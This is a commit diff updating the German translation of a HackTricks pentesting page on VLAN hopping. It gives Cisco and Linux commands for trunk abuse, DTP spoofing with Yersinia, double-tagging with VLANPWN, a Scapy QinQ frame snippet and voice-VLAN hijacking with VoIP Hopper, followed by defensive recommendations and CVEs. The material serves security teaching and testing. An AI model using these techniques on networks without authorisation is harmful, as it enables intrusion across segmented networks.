Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:45:06 +00:00
parent 2ef351da28
commit 51b5524250

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die **include**-Maske erreicht werden.
@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste
```
SW1# show vlan brief
```
**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**:
**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
@ -24,6 +24,7 @@ Der Wechsel in den Trunk-Modus wird vorübergehend die Konnektivität stören, a
Virtuelle Schnittstellen werden dann erstellt, VLAN-IDs zugewiesen und aktiviert:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Anschließend wird eine Adressanforderung über DHCP gestellt. Alternativ können in Fällen, in denen DHCP nicht möglich ist, Adressen manuell konfiguriert werden:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schnittstelle (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
@ -61,22 +71,29 @@ Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der
*Yersinia* und mehrere PoCs automatisieren den Prozess:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
Recon-Helfer (passives Fingerprinting des DTP-Zustands des Ports):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt beschrieben pivotieren.
### 2. Double-Tagging (Native-VLAN-Missbrauch)
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN springen, selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2025 Refresh) automatisieren die Injektion:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet-Durchlauf:
1. Das äußere Tag (1) wird vom ersten Switch entfernt, da es mit dem nativen VLAN übereinstimmt.
2. Das innere Tag (20) ist jetzt sichtbar; der Frame wird über den Trunk in Richtung VLAN 20 weitergeleitet.
### 3. QinQ (802.1ad) Stacking
Die Technik funktioniert auch im Jahr 2025 in Netzwerken, die das native VLAN auf dem Standard belassen und ungetaggte Frames akzeptieren.
### 3. QinQ (802.1ad) Stapelung
Viele Unternehmenskerne unterstützen *Q-in-Q* Dienstanbieter-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie den 802.1ad Ethertyp 0x88a8 und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
Viele Unternehmenskerne unterstützen *Q-in-Q* Service-Provider-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie für Ethertype `0x88a8` und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Voice-VLAN-Hijacking über LLDP/CDP (IP-Phone-Spoofing)
Corporate-Zugangsports befinden sich oft in einer *„Access + Voice“*-Konfiguration: untagged Daten-VLAN für den Arbeitsplatz und ein getaggtes Voice-VLAN, das über CDP oder LLDP-MED beworben wird. Durch die Nachahmung eines IP-Telefons kann der Angreifer automatisch das VoIP-VLAN entdecken und betreten selbst wenn DTP deaktiviert ist.
*VoIP Hopper* (verpackt in Kali 2025.2) unterstützt CDP, DHCP-Optionen **176/242** und vollständiges LLDP-MED-Spoofing:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
Die Technik umgeht die Trennung von Daten/Sprach und ist im Jahr 2025 auf Unternehmens-Edge-Switches äußerst verbreitet, da LLDP-Auto-Policy standardmäßig bei vielen Modellen aktiviert ist.
---
## Defensive Empfehlungen
1. Deaktivieren Sie DTP an allen benutzerorientierten Ports: `switchport mode access` + `switchport nonegotiate`.
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`.
3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
5. Bevorzugen Sie private VLANs oder L3-Segmentierung anstelle der ausschließlichen Abhängigkeit von 802.1Q-Trennung.
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole-VLAN** und taggen Sie es: `vlan dot1q tag native`.
3. Schneiden Sie unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
4. Erzwingen Sie Portsicherheit, DHCP-Snooping, dynamische ARP-Inspektion **und 802.1X**, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
5. Deaktivieren Sie LLDP-MED-Auto-Sprachrichtlinien (oder sperren Sie sie auf authentifizierte MAC-OUI), wenn IP-Phone-Spoofing nicht erforderlich ist.
6. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
---
## Reale Anbieteranfälligkeiten (2022-2024)
Selbst eine perfekt gehärtete Switch-Konfiguration kann durch Firmware-Fehler untergraben werden. Jüngste Beispiele sind:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** erlauben die Einspeisung vom nativen VLAN in nicht-native WLAN-VLANs und umgehen die kabelgebundene/kabellose Segmentierung.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** erlaubt ACL-Umgehung auf SVIs nach dem Umschalten des Resilient Ethernet Protocols, wodurch der Verkehr zwischen VRFs/VLANs geleakt wird. Patch 17.9.5 oder später.
Überwachen Sie stets die Anbieterhinweise zu VLAN-bezogenen Umgehungs-/ACL-Problemen und halten Sie die Infrastruktur-Images aktuell.
---
## Referenzen
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN Angriffswerkzeug <https://github.com/casterbytethrowback/VLANPWN>
- VLANPWN-Angriffswerkzeug <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Was ist VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper-Projekt <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}